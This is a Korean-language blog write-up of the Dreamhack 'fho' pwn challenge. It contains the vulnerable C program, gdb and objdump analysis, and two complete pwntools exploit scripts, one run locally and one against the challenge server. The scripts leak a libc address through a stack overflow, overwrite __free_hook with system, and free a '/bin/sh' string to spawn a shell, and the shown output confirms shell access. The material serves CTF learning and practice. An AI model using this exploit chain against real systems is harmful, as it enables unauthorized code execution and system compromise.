// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
┌──(kali㉿kali)-[~/Downloads/1]
└─$ checksec --file=fho
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 71) Symbols No 0
문제에서 보았듯이 보호 기법이 다수 걸려있다.
코드는 크게 3부분으로 나눌 수 있는데,
[1] stack buffer overflow에서는 writeable address 확인,
[2] Arbitary-Address-Write에서는 이후 [3]에서 free 함수를 사용하기에 해당 함수의 address를 system 함수로의 변경.
[3] Arbitrary-Address-Free에서는 /bin/sh 문자열을 인자로 전달하면서 free 함수 (= system 함수) 실행
으로 풀 수 있을 것으로 보인다.
참고로 본 파일에는 canary가 걸려 있으나 우리는 ret address의 변조를 목표로하는 것이 아니며 canary 값 확인 전 free 함수 호출 시 system 함수를 호출할 것이기 때문에 canary는 무시해도 된다.
우선 buf 변수의 위치를 gdb로 확인해보면
gef➤ disas main
Dump of assembler code for function main:
...
0x000000000000092a <+112>: lea -0x40(%rbp),%rax
0x000000000000092e <+116>: mov $0x100,%edx
0x0000000000000933 <+121>: mov %rax,%rsi
0x0000000000000936 <+124>: mov $0x0,%edi
0x000000000000093b <+129>: call 0x770 <read@plt>
...
%rbp - 0x40 위치에 buf 변수가 있음을 알 수 있다.
추가로 ASLR이 걸려있기에 특정 주소를 확인해야하는데, 일반적으로 프로그램은 종료 후 __libc_start_main 함수로 되돌아가게 되기에 이를 사용해서 offset을 구할 수 있다.
다만 유의해야할 점은 프로그램은 사용자의 libc를 가져와서 사용하기 때문에 gdb로 문제 파일을 바로 분석하면 제공된 libc와 버전이 달라 offset이 다르기에 이를 유의해야한다.
우선 나의 시스템 기준으로 익스플로잇 해보자.
gdb로 __libc_start_main 함수의 주소를 확인해보면 아래와 같다.
gef➤ x/gx $rbp+8
0x7fffffffe2d8: 0x00007ffff7dff7fd
gef➤ x/i 0x00007ffff7dff7fd
0x7ffff7dff7fd <__libc_start_main+205>: mov %eax,%edi
__libc_start_main + 205 위치이기에 이를 유의하여 작성해보자.
from pwn import *
p = process('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pause()
pay = b''
pay += b'A'*(0x40+7)
p.sendlineafter(b'Buf: ',pay)
p.recv(0x48+5)
libc_start_main_add = p.recv(6) + b'\x00\x00'
baseadd = u64(libc_start_main_add) - 205 - libc.symbols['__libc_start_main']
p.recv(1) #recv \n
system = baseadd + libc.symbols['system']
free_hook = baseadd + libc.symbols['__free_hook']
binsh = baseadd + 0x198882
print(hex(system))
print(hex(free_hook))
print(hex(binsh))
p.sendlineafter(b': ',str(free_hook))
p.sendlineafter(b': ',str(system))
p.sendlineafter(b': ',str(binsh))
p.interactive()
┌──(kali㉿kali)-[~/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b]
└─$ python a.py
[+] Starting local process './fho': pid 16103
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Paused (press any to continue)
0x7f1f76270860
0x7f1f763f8e20
0x7f1f763bf882
/home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b/a.py:25: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b': ',str(free_hook))
/home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b/a.py:26: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b': ',str(system))
/home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b/a.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b': ',str(binsh))
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),121(bluetooth),133(scanner),141(kaboxer)
이제 제공된 libc 파일을 기준으로 서버에 다시 한번 시도해보자.
무엇보다 libc 버전이 다르기 때문에 main 함수의 return address에 저장되는 __libc_start_main + xx의 위치가 변하게되고, /bin/sh 문자열의 offset도 바뀌게 된다.
문자열이야 그냥 찾으면 되는데, __libc_start_main이 문제다.
이를 확인하기 위해서는 파일 실행 시 제공된 libc 파일을 함께 로드시켜줘야하는데, 또, 이를 위해서는 ld 파일이 맞아야 한다. 더럽네...
libc 버전에 따른 ld 파일을 찾으려고 했는데 그것 마저도 잘 찾아지지 않아 제공된 libc 파일과 내 시스템의 libc 파일을 비교해가며 위치를 찾아보았다.
우선 gdb로 확인한 __libc_start_main 위치는 아래와 같이 exit 함수 직전이다.
ef➤ disas __libc_start_main
...
0x00007ffff7dfe7fd <+205>: mov %eax,%edi
0x00007ffff7dfe7ff <+207>: call 0x7ffff7e16100 <__GI_exit>
...
제공된 libc 파일에서 해당 함수를 찾아보면 아래와 같고,
┌──(kali㉿kali)-[~/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)]
└─$ objdump -d libc-2.27.so| grep __libc_start_main
objdump: Warning: Separate debug info file libc-2.27.so found, but CRC does not match - ignoring
objdump: Warning: Separate debug info file /home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)/libc-2.27.so found, but CRC does not match - ignoring
0000000000021b10 <__libc_start_main@@GLIBC_2.2.5>:
21b3a: 74 09 je 21b45 <__libc_start_main@@GLIBC_2.2.5+0x35>
...
대략 +205 위치쯤에서 주변 값을 출력해보니 +231 위치에 동일한 어셈블러코드가 있었다.
┌──(kali㉿kali)-[~/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)]
└─$ objdump -d libc-2.27.so| grep -A10 21bdd
objdump: Warning: Separate debug info file libc-2.27.so found, but CRC does not match - ignoring
objdump: Warning: Separate debug info file /home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)/libc-2.27.so found, but CRC does not match - ignoring
21bdd: 48 8b 05 c4 92 3c 00 mov 0x3c92c4(%rip),%rax # 3eaea8 <__environ@@GLIBC_2.2.5-0x31f0>
21be4: 48 8b 74 24 08 mov 0x8(%rsp),%rsi
21be9: 8b 7c 24 14 mov 0x14(%rsp),%edi
21bed: 48 8b 10 mov (%rax),%rdx
21bf0: 48 8b 44 24 18 mov 0x18(%rsp),%rax
21bf5: ff d0 call *%rax
21bf7: 89 c7 mov %eax,%edi
21bf9: e8 42 16 02 00 call 43240 <exit@@GLIBC_2.2.5>
이를 기준으로 시도.
from pwn import *
p = remote('host1.dreamhack.games',21811)
#p = process('./fho')
libc = ELF('./libc-2.27.so')
pay = b''
pay += b'A'*(0x40+7)
p.sendlineafter(b'Buf: ',pay)
p.recv(0x48+5)
libc_start_main_add = p.recv(6) + b'\x00\x00'
baseadd = u64(libc_start_main_add) - 231 - libc.symbols['__libc_start_main']
p.recv(1) #recv \n
system = baseadd + libc.symbols['system']
free_hook = baseadd + libc.symbols['__free_hook']
binsh = baseadd + 0x1b3e1a
print(hex(system))
print(hex(free_hook))
print(hex(binsh))
p.sendlineafter(b': ',str(free_hook).encode())
p.sendlineafter(b': ',str(system).encode())
p.sendlineafter(b': ',str(binsh).encode())
p.interactive()
┌──(kali㉿kali)-[~/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)]
└─$ python a.py
[+] Opening connection to host1.dreamhack.games on port 21811: Done
[*] '/home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7f14d1512550
0x7f14d18b08e8
0x7f14d1676e1a
[*] Switching to interactive mode
$ id
uid=1000(fho) gid=1000(fho) groups=1000(fho)
$ cat flag
DH{----------#플래그는 삭제}
libc & ld 파일을 어떻게 링크시켜줘야될지 좀 알아봐야겠다.
'Wargame > Dreamhack' 카테고리의 다른 글
oneshot (0) | 2022.07.29 |
---|---|
hook (0) | 2022.07.29 |
basic_rop_x86 (0) | 2022.07.25 |
basic_rop_x64 (0) | 2022.07.22 |
rop (0) | 2022.07.20 |